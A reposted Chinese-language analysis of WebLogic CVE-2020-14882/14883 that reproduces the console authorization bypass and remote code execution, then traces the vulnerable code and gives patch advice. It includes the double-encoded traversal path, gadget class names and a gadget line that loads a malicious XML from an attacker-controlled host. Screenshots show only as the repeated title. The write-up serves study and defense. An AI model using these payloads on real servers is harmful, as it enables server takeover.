如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

這篇文章給大家介紹如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

專注于為中小企業(yè)提供網(wǎng)站設(shè)計(jì)制作、做網(wǎng)站服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)旬陽免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了上1000家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。

一、背景

漏洞概述

WebLogic是美國Oracle公司的主要產(chǎn)品之一,是商業(yè)市場上主要的 J2EE 應(yīng)用服務(wù)器軟件,也是世界上第一個(gè)成功商業(yè)化的J2EE應(yīng)用服務(wù)器,在 Java 應(yīng)用服務(wù)器中有非常廣泛的部署和應(yīng)用。2020年10月21日,Oracle官方發(fā)布數(shù)百個(gè)組件的高危漏洞公告。其中組合利用CVE-2020-14882/ CVE-2020-14883可使未經(jīng)授權(quán)的攻擊者繞過WebLogic后臺(tái)登錄等限制,最終遠(yuǎn)程執(zhí)行代碼接管WebLogic服務(wù)器,利用難度極低,風(fēng)險(xiǎn)極大。此處漏洞均存在于WebLogic的控制臺(tái)中。該組件為WebLogic全版本自帶組件,并且該漏洞通過HTTP協(xié)議進(jìn)行利用,CVE-2020-14882漏洞允許未授權(quán)的用戶繞過管理控制臺(tái)的權(quán)限驗(yàn)證訪問后臺(tái),CVE-2020-14883允許后臺(tái)任意用戶通過HTTP協(xié)議執(zhí)行任意命令。

漏洞編號(hào)

CVE-2020-14882、CVE-2020-14883

漏洞等級(jí)

高危,CVSS評(píng)分9.8

受影響的版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

二、復(fù)現(xiàn)

復(fù)現(xiàn)環(huán)境

本次測試是用的weblogic 10.3.6.0及weblogic12.2.1.3.0,weblogic12.2.1.4.0如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

權(quán)限繞過漏洞(CVE-2020-14882)復(fù)現(xiàn):

在正常訪問console后臺(tái)時(shí)會(huì)提示輸入帳號(hào)密碼如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析對(duì)于其他路徑也限制了訪問,可以看到返回403

通過未授權(quán)訪問,則可以繞過驗(yàn)證直接訪問后臺(tái)。

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

可看到通過未授權(quán)訪問的后臺(tái)與正常登陸的后臺(tái)相比,由于權(quán)限不足,缺少部署等功能,無法安裝應(yīng)用,所以也無法通過部署項(xiàng)目等方式直接獲取權(quán)限。

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

‘%252E%252E%252F’即為二次URL編碼過后的‘../’,通過這個(gè)就可以實(shí)現(xiàn)穿越路徑未授權(quán)訪問相關(guān)管理后臺(tái)

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

任意代碼執(zhí)行復(fù)現(xiàn)

利用上述未授權(quán)訪問CVE-2020-14882結(jié)合CVE-2020-14883

利用方式(一)

通過:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,這種方法最早在CVE-2019-2725被提出,該方法通用于各版本weblogic。這里首先需要我們構(gòu)造一個(gè)惡意的xml文件,如這里我們自己搭建的http://10.211.55.2:9999/rce-win.xml。其次需要被攻擊的weblogic能夠訪問我們的惡意xml。如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

其他gadget:

com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")

利用方式(二)

通過com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因?yàn)?0.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession類。

我們可以看到在當(dāng)前10.3.6版本會(huì)提示如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

當(dāng)使用12版本測試時(shí),即可測試成功

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

其他exp

比如回顯的

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

或者POST形式 :

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

調(diào)試分析

首先,通過靜態(tài)資源文件繞過路徑權(quán)限的校驗(yàn)。之后weblogic會(huì)對(duì)提交的url進(jìn)行兩次url解碼。最后會(huì)將handle中的參數(shù)傳入HandleFactory執(zhí)行任意代碼。

從繞過路徑權(quán)限的校驗(yàn)開始。首先weblogic的請(qǐng)求會(huì)經(jīng)過weblogic.servlet.internal.WebAppServletContext#execute處理,這里會(huì)調(diào)用securedExecute()

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

跟進(jìn)securedExecute,后會(huì)調(diào)用doSecuredExecute,繼續(xù)跟進(jìn)

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

在這里調(diào)用checkAccess進(jìn)行權(quán)限的檢查

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

進(jìn)入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到當(dāng)我們請(qǐng)求的路徑為/console/console.portal時(shí),checkAllResources為false

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

這里跟進(jìn)weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

這里即比較我們的relURI是否匹配我們matchMap中的路徑,并判斷rcForAllMethods和rcForOneMethod是否為null

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

當(dāng)我們的relURI為/console.portal時(shí),rcForAllMethods不為null,rcForOneMethod為null,所以返回了rcForAllMethods。而對(duì)應(yīng)靜態(tài)資源就不會(huì)有限制和校驗(yàn)

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

接下來回到checkAccess,如果這里是原來的/console.portal時(shí),到這就結(jié)束了

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

如果使用console/images/console.portal則會(huì)繼續(xù)判斷resourceConstraint及后續(xù)的isAuthorized,并進(jìn)入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中會(huì)進(jìn)入hasPermission校驗(yàn)權(quán)限

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

所以當(dāng)我們這里使用靜態(tài)資源路徑時(shí),unrestrict值就為true

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

之后會(huì)根據(jù)web.xml中的配置對(duì)應(yīng)的AsyncInitServlet來到了weblogic.servlet.AsyncInitServlet#service

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

這里如果解碼后的url里沒有;,那么就會(huì)繼續(xù)調(diào)用super.service

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

再次進(jìn)入super.service()

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

最終不管哪種請(qǐng)求都會(huì)來到doPost,并在這里調(diào)用createUIContext

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

可以看到此時(shí)已經(jīng)經(jīng)過了一次解碼

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

隨后進(jìn)入getTree又進(jìn)行了一次解碼,此時(shí)requestPattern就變成/css/../console.portal

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

之后來到com.bea.console.utils.BreadcrumbBacking#init類,進(jìn)入findFirstHandle

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

這里會(huì)逐個(gè)檢查參數(shù)中是否有handle并將handle的參數(shù)內(nèi)容提取出來返回

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

最后將獲取到的handleStr作為參數(shù)調(diào)用HandleFactory.getHandle(handleStr);此時(shí)也就來到了代碼執(zhí)行的入口

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

此時(shí)傳進(jìn)來的handleStr會(huì)在這里被拆成兩部分,一個(gè)作為被實(shí)例化的類,另一個(gè)作為該類的構(gòu)造函數(shù)參數(shù)及實(shí)例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

所以我們就可根據(jù)此來構(gòu)造gadget,最終通過反射機(jī)制在此觸發(fā)

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

比如當(dāng)我們構(gòu)造了惡意gadget后就變成了這樣,隨后即可觸發(fā)rce

如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析

三、修復(fù)

目前Oracle官方已發(fā)布了最新針對(duì)該漏洞的補(bǔ)丁,請(qǐng)受影響用戶及時(shí)下載補(bǔ)丁程序并安裝更新。

Oracle官方補(bǔ)丁需要用戶持有正版軟件的許可賬號(hào),使用該賬號(hào)登陸https://support.oracle.com后,可以下載最新補(bǔ)丁。

在舊版補(bǔ)丁中,使用黑名單過濾,可使用大小寫繞過,請(qǐng)更新最新版的補(bǔ)丁,或者如無使用必要可選擇關(guān)閉console。

關(guān)于如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

網(wǎng)站名稱:如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析
文章源于:http://bm7419.com/article14/goedge.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營銷型網(wǎng)站建設(shè)網(wǎng)站設(shè)計(jì)、云服務(wù)器、定制網(wǎng)站、做網(wǎng)站、網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站建設(shè)